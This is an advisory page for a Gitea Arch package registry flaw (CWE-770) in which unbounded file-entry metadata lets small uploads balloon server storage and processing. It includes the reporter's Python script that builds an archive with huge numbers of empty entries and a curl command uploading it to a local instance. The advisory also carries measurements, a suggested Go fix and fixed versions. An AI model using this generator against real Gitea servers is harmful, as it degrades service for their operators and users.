GHSA-9mq6-mqjj-c2c5 CVE-2026-59763 GO-2026-6049
Gitea: Unbounded Arch package file metadata can cause resource amplification in Gitea package uploads
- Severity
- 0.0 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.29%
- Chance of exploitation in the next 30 days. Higher than 21.52% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-770 Allocation of Resources Without Limits or Throttling
- Fix
- Available
- 2 packages have a fixed version
Description
Summary
Hello Gitea Security Team,
Thank you for your continued work on Gitea. I would like to responsibly report a potential availability-impact issue that I observed in Gitea’s Arch package registry implementation.
During local testing, I noticed that Gitea records non-dot regular file entries from an uploaded Arch package archive into package file metadata. I could not identify an explicit limit on the number of recorded file entries or on the cumulative size of recorded file names before this metadata is serialized, stored, and later used during repository index generation.
As a result, a relatively small compressed .pkg.tar.gz archive may lead to significantly larger server-side metadata processing and storage. I tested this only against a local self-hosted Gitea instance and have not tested this against any third-party or production service.
Suggested Severity
Suggested severity: Medium
Suggested CVSS 3.1 vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Suggested CVSS score: 4.3
This assessment is only a suggestion. The issue appears to require an authenticated user with package publishing permission. However, once that condition is met, the behavior is reachable over the network, does not require user interaction, and may affect availability through amplified metadata parsing, serialization, database storage, and repository index generation.
Affected Component
- Gitea package registry
- Arch package upload endpoint
- Arch package metadata parsing
- Arch repository index generation
Technical Details
The upload flow appears to accept an Arch package archive, parse its contents, record file entries into package metadata, and later reuse that metadata when generating the Arch repository index.
The relevant flow appears to include:
routers/api/packages/arch/arch.go:46accepts the upload stream.routers/api/packages/arch/arch.go:55copies the upload into aHashedBuffer.routers/api/packages/arch/arch.go:62parses the archive witharch_module.ParsePackage.modules/packages/arch/metadata.go:149appends each non-dot regular tar entry name tofiles.modules/packages/arch/metadata.go:158stores the full list asp.FileMetadata.Files.routers/api/packages/arch/arch.go:77JSON-marshals the file metadata.routers/api/packages/arch/arch.go:143persists the metadata asarch_module.PropertyMetadata.services/packages/arch/repository.go:302deserializes the metadata during index generation.services/packages/arch/repository.go:365joins the full file list into the generatedfilesentry.
From my review, the package upload size limit can reduce the maximum compressed archive size that is accepted, but it does not appear to directly limit the number of file entries or the expanded metadata size for archives that remain below the compressed upload limit.
Impact
An authenticated user with permission to publish Arch packages may be able to upload an archive containing a valid .PKGINFO file and a large number of empty regular file entries.
In my local test environment, Gitea accepted such packages and stored the full file list as package metadata. This caused the server-side metadata size and generated repository files index content to become much larger than the compressed upload size.
The practical impact appears to be resource amplification affecting:
- CPU usage during parsing and index generation
- memory usage during metadata handling
- database storage due to large serialized metadata
- repository index generation size and processing time
This seems most relevant for instances where untrusted or semi-trusted users are allowed to publish packages.
Local Validation Results
I tested this only on a local self-hosted Gitea instance.
A 470,403 byte archive containing 100,000 empty file entries was accepted by the Arch package upload endpoint. It produced a 4,500,112 byte arch.metadata database property and a generated repository index whose files member contained 100,001 lines.
A larger 2,349,767 byte archive containing 500,000 empty file entries was also accepted in the default configuration. It produced a 22,500,112 byte arch.metadata database property and a generated repository files member with 500,001 lines.
Proof of Concept
The following proof of concept is intended only for a local self-hosted test instance.
Save the following script as generate_arch_metadata_test_package.py:
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import gzip
import io
import tarfile
from pathlib import Path
PKGINFO = """pkgname = gitea-metadata-test
pkgbase = gitea-metadata-test
pkgver = 1.0.0-1
pkgdesc = Local metadata scaling test package
url = https://example.invalid/
packager = local test
arch = x86_64
license = MIT
builddate = 1714521600
size = 0
"""
def add_bytes(tar: tarfile.TarFile, name: str, data: bytes) -> None:
info = tarfile.TarInfo(name=name)
info.size = len(data)
info.mode = 0o644
tar.addfile(info, io.BytesIO(data))
def build_archive(output: Path, entries: int, name_width: int) -> None:
output.parent.mkdir(parents=True, exist_ok=True)
with output.open("wb") as raw:
with gzip.GzipFile(fileobj=raw, mode="wb", compresslevel=9, mtime=0) as gz:
with tarfile.open(fileobj=gz, mode="w|") as tar:
add_bytes(tar, ".PKGINFO", PKGINFO.encode("utf-8"))
for i in range(entries):
name = f"usr/share/gitea-metadata-test/{i:0{name_width}d}.txt"
add_bytes(tar, name, b"")
def main() -> None:
parser = argparse.ArgumentParser(
description="Generate a local Arch package test archive with many empty file entries.",
)
parser.add_argument("--entries", type=int, default=100000)
parser.add_argument("--name-width", type=int, default=8)
parser.add_argument("--output", type=Path, default=Path("gitea-metadata-test.pkg.tar.gz"))
args = parser.parse_args()
if args.entries < 1:
raise SystemExit("--entries must be at least 1")
if args.name_width < 1:
raise SystemExit("--name-width must be at least 1")
build_archive(args.output, args.entries, args.name_width)
print(f"wrote {args.output} with {args.entries} regular file entries")
if __name__ == "__main__":
main()
Generate a test archive:
python3 generate_arch_metadata_test_package.py \
--entries 100000 \
--output gitea-metadata-test-100k.pkg.tar.gz
Upload it to a local Gitea test instance with package publishing enabled:
curl -X PUT \
-H "Authorization: token <TOKEN>" \
--upload-file gitea-metadata-test-100k.pkg.tar.gz \
http://127.0.0.1:3007/api/packages/packagebot/arch/bigrepo
Observed local result:
HTTP_STATUS=201
TIME_TOTAL=0.482909
SIZE_UPLOAD=470403
Additional Validation
Parser-only measurements:
| Entries | Compressed archive bytes | Parsed file entries | Metadata JSON bytes | Joined files bytes | Parse time |
|---|---|---|---|---|---|
| 25 | 477 | 25 | 1,237 | 1,074 | 0 ms |
| 10,000 | 47,461 | 10,000 | 450,112 | 429,999 | 25 ms |
| 100,000 | 470,403 | 100,000 | 4,500,112 | 4,299,999 | 264 ms |
Local Gitea upload measurements:
| Entries | Upload HTTP status | Upload time | Uploaded bytes | Stored metadata bytes | Stored file count | Repository index blob bytes | Extracted files lines |
|---|---|---|---|---|---|---|---|
| 10,000 | 201 | 0.243 s | 47,461 | 450,112 | 10,000 | 27,267 | 10,001 |
| 100,000 | 201 | 0.483 s | 470,403 | 4,500,112 | 100,000 | 262,301 | 100,001 |
| 500,000 | 201 | 1.798 s | 2,349,767 | 22,500,112 | 500,000 | 1,306,465 | 500,001 |
Package Size Limit Behavior
I also tested LIMIT_SIZE_ARCH=1MiB with a non-admin package publisher.
| Entries | Upload bytes | Upload HTTP status | Stored metadata bytes | Notes |
|---|---|---|---|---|
| 100,000 | 470,403 | 201 | 4,500,112 | Accepted because the compressed upload was below the package size limit. |
| 500,000 | 2,349,767 | 403 | not stored | Rejected with maximum allowed package type size exceeded. |
This suggests that the compressed package size limit helps reduce exposure, but it may not fully address metadata growth for highly compressible archives that stay below the configured upload limit.
Expected Behavior
Gitea should ideally reject package archives whose expanded package metadata would require excessive server-side resources. It would be safer if this validation happened before the file list is serialized, persisted, or used during repository index generation.
Suggested Remediation
One possible mitigation would be to add explicit bounds during Arch package metadata parsing before the file list is stored or used for repository index generation.
Potential controls could include:
- limiting the maximum number of regular file entries recorded in
FileMetadata.Files - limiting the cumulative byte length of recorded file names
- returning a clear 4xx validation error when an uploaded package exceeds those limits
- optionally making these limits configurable for instance operators
- adding regression tests for excessive file-entry count and excessive cumulative file-name size
For example, the validation could follow this general shape:
const (
maxArchMetadataFiles = 10000
maxArchMetadataFileNameBytes = 1 << 20
)
var totalFileNameBytes int
// inside the tar entry loop
if !strings.HasPrefix(filename, ".") {
totalFileNameBytes += len(hd.Name)
if len(files) >= maxArchMetadataFiles || totalFileNameBytes > maxArchMetadataFileNameBytes {
return nil, util.NewInvalidArgumentErrorf("arch package file metadata exceeds limit")
}
files = append(files, hd.Name)
}
This is only a suggested direction, and I understand the project may prefer a different threshold or design depending on compatibility and package registry requirements.
Closing
Thank you for taking the time to review this report. Please let me know if any additional information would be helpful, such as the local test environment details, database inspection steps, or additional measurements with different limits.
I appreciate your work on maintaining Gitea and would be happy to help clarify or retest any proposed fix.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.gitea.io/gitea | < 1.27.0 |
1.27.0 |
| gitea.dev | < 1.27.0 |
1.27.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.gitea.io/gitea Go → 1.27.0
- go
go get code.gitea.io/gitea@v1.27.0 && go mod tidy
gitea.dev Go → 1.27.0
- go
go get gitea.dev@v1.27.0 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- Low
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 4.3
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- Low
Weakness
CWE-770: Allocation of Resources Without Limits or Throttling
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
How to prevent it
- Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
- Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
- Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
References
Packages
Other links
- github.com/go-gitea/gitea/security/advisories/GHSA-9mq6-mqjj-c2c5
- github.com/go-gitea/gitea/pull/38406
- github.com/go-gitea/gitea/pull/38426
- github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31
- github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf
- github.com/go-gitea/gitea/releases/tag/v1.27.0
- blog.gitea.com/gitea-1.27.0-is-released
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-rcr6-4jqh-j84m Gitea: Remote Code Execution via diffpatch Git Hook Installation | Critical Known exploited | Also affects code.gitea.io/gitea |
| GHSA-fq2p-5p22-8g6j Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints | Medium | Also affects code.gitea.io/gitea |
| GHSA-2wm4-vwp6-v7xc Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata | High | Also affects code.gitea.io/gitea |
| GHSA-3r5c-2xxx-h872 Gitea: Webhook Authorization Header Returned in Plaintext via API | Low | Also affects code.gitea.io/gitea |
| GHSA-frpw-3h2q-4jj6 Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs | Medium | Also affects code.gitea.io/gitea |
| GHSA-q423-49rw-g9mh Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private | Medium | Also affects code.gitea.io/gitea |
| GHSA-h56g-4qw7-2mxg Gitea: Public-only API token restriction is not enforced on team API routes | Medium | Also affects gitea.dev |
| GHSA-prr9-9mp4-5gp2 Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145 | High | Also affects gitea.dev |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor